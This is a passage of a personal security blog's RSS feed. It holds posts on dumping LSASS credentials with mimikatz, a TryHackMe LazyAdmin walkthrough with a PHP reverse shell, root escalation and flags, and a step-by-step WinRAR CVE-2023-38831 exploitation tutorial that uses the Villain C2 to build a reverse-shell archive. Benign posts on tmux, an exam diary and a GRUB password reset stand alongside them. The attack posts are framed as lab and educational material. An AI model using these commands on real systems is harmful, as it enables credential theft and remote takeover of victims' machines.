security identifier (SID), group memberships, and other security-related information. If the Credentials are not valid then login fails and need to starts from the User Login again.</li><li><strong><em>Token Creating and Session Info</em></strong> : The generated access token is used to create a user session. LSASS stores the session information and the hash of the user’s password securely.</li><li><strong><em>Credential Storage</em></strong> : The user’s password is stored in a hashed and plain text within LSASS. LSASS also manages Kerberos tickets and other authentication tokens used for network services.</li></ul><blockquote><strong>Impact</strong></blockquote><p>The greatest impact from this is <strong><em>Lateral Movement</em></strong>. Here the attacker can abuse the plain text password inside the network to gain access to the other servers and the computers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*xsB6u-EFVTTBFTPpNXiQgQ.png" /></figure><blockquote>Demo in Windows 7</blockquote><p>Dumping the <strong><em>lsass.exe</em></strong> process from the task manager of the PC. It directly saved in the temp directory of the windows. Now it can be further used to extract the plain text password using mimikatz tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*3zpn7z5MYltkUTwQUu1R5Q.png" /></figure><p>Here the mimikatz tool is used to extract the password from the lsass.DMP file. Applied Commands are</p><pre># privilege::debug<br># sekurlsa::mimidump lsass.DMP<br># sekurlsa::logonpasswords</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*gqXBQPU_CdRALSx6RJpgOQ.png" /></figure><p><strong>Note</strong>: In Windows 10, it is little different. We have to modify the registry to enable <strong><em>UseLogonCredential </em></strong>and after that Sign out the User and again Login and apply the lsass.exe dump from the task manager. Finally apply the mimikatz command, we can get the passwords in the plain text.</p><pre>&gt; reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1</pre><blockquote><strong>Mitigation</strong></blockquote><ul><li>Enable LSA Protection (<strong><em>RunAsPPL</em></strong>) from the Registry (by default enabled in the Windows 11)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*tEQ62kbSZhwA-cSL1aAfkQ.png" /></figure><p>If this is set in the Registry, then after dumping the lasss.exe, we can’t extract the plain text passwords but 100% not secure because there are some bypasses for this too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*TLCI7eG5UR9xUwzsgfcElw.png" /></figure><p>Thank you !! for reading this blog.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11752a2fa01e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tmux Essential Commands]]></title>
            <link>https://tukbdr.medium.com/tmux-essential-commands-5f4f90c76cba?source=rss-3f0796461f21------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f4f90c76cba</guid>
            <dc:creator><![CDATA[Tuk Bahadur Kumhal]]></dc:creator>
            <pubDate>Tue, 04 Jun 2024 16:48:48 GMT</pubDate>
            <atom:updated>2024-06-04T16:48:48.699Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZcX1B8gRDlGNDghW.png" /></figure><p>Today we are going to understand about <strong><em>tmux</em></strong> and how powerful and useful it is in the real world. This tmux concept is very helpful for sysadmin and Security Researchers. I had no idea about the tmux before doing my Final Year Project but during development of my FYP Project, I had to deal with a single terminal via SSH connection persistently. So, to work with a single terminal and run multiple program without any disturbance, I had to research about such technology. During my research, I found that tmux has that potential to work with multiple windows of terminal at a single session.</p><p>Let’s Understand about the <strong>TMUX</strong></p><blockquote><strong>What is Tmux ?</strong></blockquote><p>Tmux Stands for <strong>Terminal Multiplexer</strong>. It is similar to GNU <a href="#"><strong>Screen</strong></a>. It allows us to create several “<strong><em>pseudo terminals</em></strong>” from a single terminal. It is very helpful when we remotely connect to a machine using Secure Shell (SSH) to run multiple programs with a single connection.</p><p>Tmux separates the programs from the main terminal, protecting them from accidentally disconnecting. We can detach tmux from the current terminal, and all our programs will continue to run safely in the background. Later, we can reattach tmux to the same or a different terminal.</p><p><strong>Benefits of using Tmux:</strong></p><ul><li>Run multiple terminal sessions in a single window</li><li>Detach and reattach sessions, preserving our work</li><li>Share sessions and collaborate with others</li><li>Easily split, resize, and switch between panes</li><li>Works on Linux, macOS, and Windows</li><li>Maintain a clear and structured work environment</li><li>Run multiple programs in a single terminal</li></ul><blockquote><strong>Installation in Debian</strong></blockquote><p>Updating all the packages to the latest version</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sk7Ck58I2Yw_8HM_lbtuxQ.png" /></figure><p>Installing the tmux in the debian</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GG49_Ku-SyF5xTyXnxAB3w.png" /></figure><p>Checking the installed version of the tmux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z1-Nj_nyD1q2U7dT3ztGcw.png" /></figure><blockquote><strong>Getting In and Out</strong></blockquote><p>To get session without any name , we can directly type the <strong><em>tmux</em></strong> command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D7UxkiqxT_2mV-XCsz6wDA.png" /></figure><p>To exit the current session we can type <strong><em>exit</em></strong> command but the issue is, it will terminate the current session and get out from that running session. So, it is not recommended to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*msnTQI712r1PrqW_SvQazA.png" /></figure><p><strong><em>Important Note:</em></strong></p><ul><li>To get outside from the running session we have to use the prefix shortcut command of the keyboard i.e <strong><em>ctrl + b</em></strong> with<strong><em> d</em></strong> .</li></ul><blockquote><strong>Important Shortcut command with the Description</strong></blockquote><p>To create a new session with session name</p><pre>$ tmux new -s session_name</pre><p>To create a new window inside a tmux session</p><pre>$ ctrl + b  and Use key c</pre><p>To List all the sessions and windows inside a tmux session</p><pre>$ ctrl + b  and Use key w</pre><p>To rename the current window</p><pre>$ ctrl + b  and type :rename-window anynamehere</pre><p>To rename the current session</p><pre>$ ctrl + b and type :rename-session anynamehere</pre><p>To destroy a window of the current session</p><pre>$ ctrl + b and Use key x</pre><p>To detach from the current session and get exit</p><pre>$ ctrl + b and Use key d</pre><p>To list existing sessions</p><pre>$ tmux ls</pre><p>To attach to an existing tmux session with session name</p><pre>$ tmux attach -t session_name</pre><p>To help screen (q to quit)</p><pre>$ ctrl + b and Use key ?</pre><p>To split windows horizontally with a window</p><pre>$ ctrl + b and Use key %</pre><p>To split windows vertically within a window</p><pre>$ ctrl + b and Use key &quot;</pre><p>To Kill a session by name</p><pre>$ tmux kill-session -t session_name</pre><p>Finally, these are the commands mostly used in the real world. You might feel difficult initially while working with these commands but passing time with these shortcut commands makes you memorize. There are lots of tmux shortcut commands and above mention are just commonly used commands. To explore more command we can checkout the manual of the tmux.</p><p>Thank you!! for reading this blog.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f4f90c76cba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walkthrough LazyAdmin — TryHackMe]]></title>
            <link>https://tukbdr.medium.com/walkthrough-lazyadmin-tryhackme-2aa5f725e649?source=rss-3f0796461f21------2</link>
            <guid isPermaLink="false">https://medium.com/p/2aa5f725e649</guid>
            <dc:creator><![CDATA[Tuk Bahadur Kumhal]]></dc:creator>
            <pubDate>Tue, 02 Apr 2024 17:15:06 GMT</pubDate>
            <atom:updated>2024-04-02T17:15:06.984Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Walkthrough LazyAdmin — TryHackMe</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*7Q6AxOn9LWsVdY7mDf1Jaw.jpeg" /></figure><p>Today we are going to cover the <a href="https://tryhackme.com/r/room/lazyadmin"><em>LazyAdmin</em></a> <a href="https://tryhackme.com/"><em>TryHackMe</em></a><em> </em>room. This room covers the silly mistake done by any administration during hosting any file web application in the server which lead to <strong><em>PWN</em></strong> the entire system.</p><p>Let’s start the journey,</p><blockquote><strong>Network Scanning</strong></blockquote><p>Before scanning the network, we have to join the<strong><em> LazyAdmin</em></strong> room. Now, Start the machine , we will get an IP here. Note, it will be different for all the machine if you are joining and starting the machine.</p><pre>Target : 10.10.146.140</pre><p>Now, After getting its time to scan the network. We will use <strong><em>rustscan</em></strong> to scan the network. It is very fast port scanner</p><pre>$ rustscan -a $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*CuM4mUwEJRdL_xqVHVzZcg.jpeg" /></figure><p>After scanning the network, we got two ports open <strong><em>22</em></strong> and <strong><em>80</em></strong> . We don’t have credentials to connect for the <strong><em>SSH</em></strong>. so, its good idea to move forward and check for the web application.</p><blockquote><strong>Enumeration</strong></blockquote><p>We can open directly the IP in the browser and here the default page of the Apache come. We don’t have any other way to go further from here. Now it’s time to check for any directory hidden behind this default page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vS6gPaR3yej501JmPNDm1Q.jpeg" /></figure><p>Using <strong><em>dirsearch</em></strong> to fuzz for the content. we get <strong><em>content</em></strong> directory here.</p><pre>$ dirsearch -u http://ip -w /wordlist.txt -i 200,301,302</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*-PfRJ1M-P1_MgxCa1qW3uQ.jpeg" /></figure><p>Checking this found directory by appeding behind the URL. Nothing special found here. Only we got to know that this application is made from the <strong><em>SweetRice CMS.</em></strong></p><pre>http://10.10.146.140/content/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*M63ju-xaMp5jRrWJ_JQH_g.jpeg" /></figure><p>Checking out the source code of the application. It was found that it has some kind of the JS code but has no juicy info. we can do recursive fuzz for the content discovery.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*7-wO6vs0DQJNXBo2KuLZFg.jpeg" /></figure><p>Fuzzing for the recursive content discovery using dirsearch. It displayed many directories. Now, time to check manually in the browser.</p><pre>$ dirsearch -u http://IP/content -w wordlist -i 200,301,302</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*DE_X50ETir3SOMFuMPMeVw.jpeg" /></figure><p>It was found that <strong><em>/content/inc</em></strong> has some kind of listing files and directories. My eyes directly pointed to the <strong><em>mysql_backup</em></strong> directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*EsOchG6qDl-jec7X-ETJ1w.jpeg" /></figure><p>After opening the directory. It has <strong><em>.sql</em></strong> file. This means we are in right track.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*hlRWsSLMHWU7dPznf6LeFQ.jpeg" /></figure><p>Again checking another path <strong><em>/content/as</em></strong> it is leading to the <strong><em>Login Page</em></strong> of the CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*j3T5_Q7v1y9Td4CrH8915w.jpeg" /></figure><p>Now, checking the <strong><em>sql </em></strong>file. It has juicy information i.e</p><pre>username:hash_password<br>manger:42f749ade7f9e195bf475f37a44cafcb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*tzy0D9uiPnA4Um8LyLnNbg.jpeg" /></figure><p>We have the md5 hash, it can be cracked using online hash cracker i.e <strong><em>crackstation.net</em></strong></p><pre>42f749ade7f9e195bf475f37a44cafcb -&gt; Password123</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2DHCAnANSP0VmhUwDGReTQ.jpeg" /></figure><p>We can login now in the CMS using the found credentials.</p><pre>manager:Password123</pre><p>Here, After login we can enumeration info like version 1.5.1 of the CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*11RZfAEj185U_cVo-Igz9A.jpeg" /></figure><blockquote><strong>Exploitation</strong></blockquote><p>After exploring inside feature of the CMS , we can find that there is <strong><em>Ads feature</em></strong>. This lead us to upload any php code. There is one online site i.e <strong><em>revshells.com</em></strong>, using this site we can use<strong><em> PHP PentestMonkey code</em></strong> to get reverse shell.</p><pre>IP of the Attacker: 10.8.25.7<br>Listing port in the Attakcer Machine : 1234</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JvxDLVrKF_nELI9ItNVqpw.jpeg" /></figure><p>Creating one Ad by providing the PHP reverse shell code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jaolp1zYSj_Y8JyWx52WMA.jpeg" /></figure><p>Listening for the reverse shell in the attacker Machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pycD8BgnEkAxUT2v4qqxrA.jpeg" /></figure><p>This time to trigger the uploaded php code by clicking the reverse_shell.php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*UXOCEA4f0nRIE47U8OYjsQ.jpeg" /></figure><blockquote><strong>Privilege Escalation</strong></blockquote><p>Once the php file is trigger, we can directly get the reverse shell of the machine which is hosting the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*p3zsHls1_oJwSSmNWBh4rg.jpeg" /></figure><p>Reading the <strong><em>user.txt</em></strong> file present in the <strong><em>/home/itguy</em></strong> user directory.</p><pre>THM{63e5bce9271952aad1113b6f1ac28a07}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*_nOzIlw2tjrc3cnV_Wpsfg.jpeg" /></figure><p>Checking out the command which can be run by any user using sudo permission. Here, we found that perl file can be executed by the anyone. Further reading the backup.pl, it was found that it is executing the system command which is located at <strong><em>/etc/copy.sh</em></strong>. This file has reverse shell connection command. Once checking out the permission, it has <strong><em>rwx </em></strong>by other user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*UBO_8RMLFPdHfKE-FOh2-A.jpeg" /></figure><p>Now listing in the attacker machine 5554 port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*Nk8lPqHsIvLANsJvbSYobw.jpeg" /></figure><p>Replacing the existing IP with the attacker IP in the copy.sh file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*fpPdg1Ua6cl7R4n40uon7w.jpeg" /></figure><p>Executing the copy.sh using the perl with sudo privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*L_gefb66hbUS7ySas7CTQA.jpeg" /></figure><p>Here, we can get reverse shell with the root privilege and finally getting the <strong><em>root.txt</em></strong> file.</p><pre>THM{6637f41d0177b6f37cb20d775124699f}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*J4YeG06Ugvs_Qxcky_uidw.jpeg" /></figure><p>Thank you For reading this blog !!<br>From this room we learned that simple mistake can lead to huge impact so, as an admin we have to check either the hosted file can be List out directly using path or not.</p><blockquote><strong>Reference:</strong></blockquote><ul><li><a href="https://www.revshells.com/">https://www.revshells.com/</a></li><li><a href="https://crackstation.net/">https://crackstation.net/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2aa5f725e649" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Journey to take ISC2 Certified in Cybersecurity (CC) Exam and How I Passed it ?]]></title>
            <link>https://tukbdr.medium.com/my-journey-to-take-isc2-certified-in-cybersecurity-cc-exam-and-how-i-passed-it-ae6d9d57c134?source=rss-3f0796461f21------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae6d9d57c134</guid>
            <dc:creator><![CDATA[Tuk Bahadur Kumhal]]></dc:creator>
            <pubDate>Tue, 26 Mar 2024 17:23:40 GMT</pubDate>
            <atom:updated>2024-03-26T17:23:40.817Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>My Journey to take ISC2 Certified in Cybersecurity (CC) Exam and How I Passed it ?</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*eAAbg8j03uhES0JKuPy-Qw.jpeg" /></figure><blockquote><strong>Journey Begins From Here</strong></blockquote><p>As I am 3rd year IT Student, Currently working as an <strong><em>Apprentice</em></strong> in XYZ Cybersecurity Research Hub Company. It’s been 2 months working in the Company. One day suddenly my Supervisor asked me “<strong><em>Have you taken exam of the ISC2 Certified in Cybersecurity (CC)</em></strong>”. I replied him no I have not taken the exam. He gently said it is good for the new people who are coming in the field of cybersecurity. He said book the exam instantly. It was the morning time as I was being late for attending my class. I ran for my class.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/0*Aqjar__cscfoOxSL.jpg" /></figure><blockquote><strong>Register and Date Booking</strong></blockquote><p>After attending my class, I need to go for the work. Exactly at same day probably it was 3:20 P.M, me and my colleague were working. At that time again my supervisor came and asked to all people same question earlier asked personally to me “<strong><em>Have you taken exam of the ISC2 Certified in Cybersecurity (CC)</em></strong>”. We replied No but one of My Colleague said I have and even passed the exam. We all except him <strong><em>signup</em></strong> for the ISC2 CC exam and booked date exactly 1 month away from this exact day. I took exactly 1 month time because currently I was working on my FYP project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*hq3Q5yffikLXSc00.jpg" /></figure><blockquote><strong>Examination Details &amp; Syllabus</strong></blockquote><p>On that same day, after reaching to my home and taking break for 2 hours. I started to checked for the <strong><em>Examination details</em></strong> and <strong><em>Syllabus</em></strong> of ISC2 Certified in Cybersecurity (CC). I found that the total exam length was 2 hours, Altogether 100 MCQ Questions need to attempt, need to score 700 out of 1000 points and Exam Center was Pearson VUE Testing Center.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*UBdb4Bf9aSLhz7cBNS4HiQ.png" /></figure><p>ISC2 Certified in Cybersecurity (CC) syllabus has <strong><em>5 domains</em></strong> among them Security Principles weight the highest. The domains information and Weight are given below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*dVagRCfRwPGICLF-b52ABA.png" /></figure><blockquote><strong>Study Planning</strong></blockquote><p>This was only research I have done, for 2 weeks I have not even touched the courses provided by the ISC2 for the CC examination as I was busy in working on my Project. Now, after passing 2 weeks I have only remaining 2 weeks for attending my exam. I need to prepare for the exam. So, I planned to study only <strong><em>2 hours per day</em></strong> after coming from the work. As I had little technical knowledge so, I planned to cover first Technical portions i.e Network Security, Security Operations, Access Controls Concepts respectively. After covering these topics I studied for the Business Continuity (BC), Disaster Recovery (DR) &amp; Incident Response Concepts and finally Security Principles.</p><blockquote><strong>Note keeping Habit &amp; researching technique</strong></blockquote><p>During my study, my good point is Note keeping Habit. The terminologies and unclear concepts I wrote in my notebook. I took help from the Chatgpt to clear my some unclear concepts and even with my colleague who passed the exam.</p><blockquote><strong>MCQ Practice</strong></blockquote><p>I practiced <strong><em>MCQ</em></strong> questions given in the CC syllabus and also from <strong><em>LinkedIn Learning Practice</em></strong> Exam Question Shared by the “<strong><em>Sanjay Singh</em></strong>”. This was quiet helpful.</p><p><a href="#"><strong>MCQ Practice Question Link:</strong></a></p><p><a href="https://www.linkedin.com/feed/update/urn:li:activity:7175851052171231232/?lipi=urn%3Ali%3Apage%3Ad_flagship3_messaging_conversation_detail%3B7wm7p8QJR5ixoy9GCcRWIA%3D%3D">Sanjay Singh on LinkedIn: #cybersecurity #ethicalhacking #isc2 | 24 comments</a></p><blockquote><strong>One Day to Go for Exam</strong></blockquote><p>One day before my Examination day, I solved all the MCQ questions from the CC course and that LinkedIn Learning Practice MCQ Questions.</p><blockquote><strong>Exam Day</strong></blockquote><p>The <strong><em>final Exam Day</em></strong>, I wake up at 5:30 A.M and My exam Start time was 8:00 A.M . I again revised some terminologies which are unclear to me. I took my breakfast and depart for exam. I reached venue 30 min earlier. The <strong><em>proctor </em></strong>setup the Computer and formally checked me . Exam Started and it took me 40 min to complete the exam. After completing the exam, I came out from the exam room. One of the person from the examination center gave me the letter. I came outside from the exam center and open the letter, it was written the Congratulations you have been passed.</p><h3><strong><em>Final Tips:</em></strong></h3><ul><li>Note Keeping habit is necessary</li><li>Focus on concepts rather then completing the course</li><li>Don’t hesitate to ask for the help with the people to clear any concept</li><li>Don’t Underestimate this Exam</li></ul><p>Thank you for Reading the blog &amp; my experience about the CC Exam journey</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae6d9d57c134" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Attackers Can Abuse WinRAR CVE-2023–38831 To Get the RCE ??]]></title>
            <link>https://tukbdr.medium.com/how-attackers-can-abuse-winrar-cve-2023-38831-to-get-the-rce-2fcd211e470f?source=rss-3f0796461f21------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fcd211e470f</guid>
            <dc:creator><![CDATA[Tuk Bahadur Kumhal]]></dc:creator>
            <pubDate>Tue, 19 Mar 2024 17:03:34 GMT</pubDate>
            <atom:updated>2024-03-19T17:03:34.590Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>How Attackers Can Abuse WinRAR CVE-2023–38831 To Get the RCE ??</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OtvMWmh6HctIT3EP50Wtmw.jpeg" /></figure><p>This blog is about demonstrating the impact of <a href="https://github.com/b1tg/CVE-2023-38831-winrar-exploit"><strong><em>CVE-2023–38831</em></strong></a> found in the WinRaR versions <strong><em>&lt;= 6.22</em></strong>. The attacker can get the Remote Access of the Victim if victim opens the crafted archive file present inside the archive directly.</p><p>Here, This attack can be performed in the safe environment like VirtualBox or VMware. I will demonstrate this attack in the virtual box. The attacker machine is <strong><em>kali</em></strong> and the victim machine is the<strong><em> windows 7</em></strong>. The windows 7 has <strong><em>winrar 6.11 </em></strong>installed.</p><blockquote><strong>Step by Step Guide:</strong></blockquote><ol><li>Installing the winrar exploit generator</li></ol><pre>$ git clone https://github.com/b1tg/CVE-2023-38831-winrar-exploit<br>$ cd CVE-2023-38831-winrar-exploit</pre><p>2. Installing the villain</p><p><a href="https://github.com/t3l3machus/Villain"><strong><em>Villain</em></strong></a> is a high level C2 framework that can handle multiple TCP socket &amp; HoaxShell-based reverse shells.</p><pre>$ apt install villain</pre><p>3. Generating the payload using the villain</p><pre>$ sudo villain<br>Villain &gt; generate payload=windows/netcat/powershell_reverse_tcp lhost=eth0 encode</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZeuJqXDqusRiUngIo6JuA.jpeg" /></figure><p>4. Requirements things to run winrar exploit</p><p>keeping any favorite pdf document and creating one script.bat file in the winrar exploit generator directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*_pBQd0qdK0boGDv9LULihw.jpeg" /></figure><p>5. Paste the payload generated by the villain c2 framework in the script.bat file along with &amp; and filename of the pdf.</p><pre>$ nano script.bat<br>c2 payload<br>&amp;<br>filename_of_pdf.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ytKGK5zDmj0kU39-BjOsww.png" /></figure><p>6. Crafting the malicious rar</p><pre>$ python cve-2023-38831-exp-gen.py document_name.pdf script.bat  output.rar</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b4PctAmVropQfuE9OCKx-Q.jpeg" /></figure><p>7. Starting python server to host the malicious zip file</p><pre>$ python3 -m http.server port_number</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Oh13BR2CLMQ4uaRJTSFRQ.jpeg" /></figure><p>8. Downloading the malicious zip file in the victim P.C</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*Vy2zrMFI4tU3oz0i6N5HMw.jpeg" /></figure><p>9. Once the zip file is downloaded, victim tries to open the file directly without extracting it. Hence, the payload gets trigger and attacker got the reverse shell in the Villain.</p><pre>notified with the Backdoor session established<br>Villain &gt; sessions    # checking out the active sessions<br>Villain &gt; shell {sessions_id}    # getting the victim system shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AlMVrqa6I21LzWQyjRrSLA.jpeg" /></figure><p>In this way the attacker abuse the winrar CVE to get the remote access of the victim.</p><p><strong>How can we be safe from this Vulnerability ?</strong></p><ul><li>Updating winrar program to latest version</li></ul><blockquote><strong><em>References:</em></strong></blockquote><ul><li><a href="https://github.com/b1tg/CVE-2023-38831-winrar-exploit">https://github.com/b1tg/CVE-2023-38831-winrar-exploit</a></li><li><a href="https://github.com/t3l3machus/Villain">https://github.com/t3l3machus/Villain</a></li></ul><p>Thankyou , for Reading this blog !!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fcd211e470f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reset Forgotten Linux Password Without Any Data Loss]]></title>
            <link>https://tukbdr.medium.com/reset-forgotten-linux-password-without-any-data-loss-208fafb5499b?source=rss-3f0796461f21------2</link>
            <guid isPermaLink="false">https://medium.com/p/208fafb5499b</guid>
            <dc:creator><![CDATA[Tuk Bahadur Kumhal]]></dc:creator>
            <pubDate>Tue, 12 Mar 2024 16:13:03 GMT</pubDate>
            <atom:updated>2024-03-12T16:13:03.083Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*mPkA1-T_u3drDJUnHLOHQQ.gif" /></figure><p>In this blog, we are going to cover how to reset any user password in the Linux. It is human nature to forgot the password. Don’t worry !! You are not alone to forgot your password. Here, resetting password is demonstrated in the Virtual Box.</p><p>Let’s Start our journey !!</p><blockquote><strong>Step 1: Accessing the GRUB Menu</strong></blockquote><p>To access the GRUB Menu in the Linux, we have to press the <strong><em>shift key</em></strong> from our keyboard and <strong><em>reboot </em></strong>our Linux system until it displays the menu and press <strong><em>e</em></strong> for the editing mode.</p><p>Same Case Applied if our system is running in the <strong><em>Virtual Box</em></strong>. Start the Virtual Machine and Instantly press the <strong><em>e</em></strong><em> </em>key for the keyboard to enter into the editing mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*ZPA8ZG89vuBNYws3NAeLUA.jpeg" /></figure><blockquote><strong>Step 2: Searching and Modifying the Boot Parameters</strong></blockquote><ul><li>Find the Line begin with the<strong><em> Linux</em></strong> term and this line need to have the keyword <strong><em>ro</em></strong> (<strong><em>read only</em></strong>) . Sometime it also has <strong><em>quiet splash $vt_handoff</em></strong> strings.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*Wj_xs-Ykw4M81AiKfFq1mQ.jpeg" /></figure><ul><li>Now, replace <strong><em>ro</em></strong> with <strong><em>rw</em></strong></li><li>Along with <strong><em>quiet splash $vt_handoff </em></strong>with<strong><em> init=/bin/bash</em></strong></li><li>Press <strong><em>Ctrx + x </em></strong>or <strong><em>F10</em></strong> to boot with the modified parameters.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*8__oO9GwsBBLmKn1cpIhQw.jpeg" /></figure><blockquote><strong>Step 3: Remounting the Entire File System Along with Write Permissions</strong></blockquote><p>By default the Filesystems are present in the <strong><em>read-only </em></strong>mode. To change the password we have to provide the write permission.</p><pre># mount -o rw,remount /</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*lnCD6A0LUN4rOzuiUfaqtg.jpeg" /></figure><p>Once the command is supplied, we have to verify it by providing the mount command and checking out the (<strong><em>rw,relatime</em></strong>)</p><pre># mount</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*F1fuNMpHWvHQyYy5zxsS4g.jpeg" /></figure><blockquote><strong>Step 4: Listing User and Changing the specific user password</strong></blockquote><p>To list the user, we have to supply the <strong><em>ls /home</em></strong> command. It will list all the current users of the system. From here, we can reset the specific user password. Here, acer user password is changed.</p><pre># ls /home</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*ZJJDAyp99LXWWcJ_6xb7yQ.jpeg" /></figure><p>To Change the password of the acer, we can execute <strong><em>passwd</em></strong> command along with the specific username.</p><pre># passwd &lt;user_name&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*etekKz-Jn9Sw5_ldzcZrrA.jpeg" /></figure><blockquote><strong>Step 5: restarting the system</strong></blockquote><p>After password is changed, we have to reboot the system by supplying the below command. It will restart the system.</p><pre># exec /sbin/init</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*vx6F8vnArdWWhPh12_Wdzg.jpeg" /></figure><p>After the system is rebooted. We can finally login with the changed password without any data loss.</p><p>Thank you, For reading this blog !!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=208fafb5499b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box Redeemer Walkthrough]]></title>
            <link>https://tukbdr.medium.com/hack-the-box-redeemer-walkthrough-a5418ac059bf?source=rss-3f0796461f21------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5418ac059bf</guid>
            <dc:creator><![CDATA[Tuk Bahadur Kumhal]]></dc:creator>
            <pubDate>Tue, 05 Mar 2024 16:53:13 GMT</pubDate>
            <atom:updated>2024-03-05T16:53:13.578Z</atom:updated>
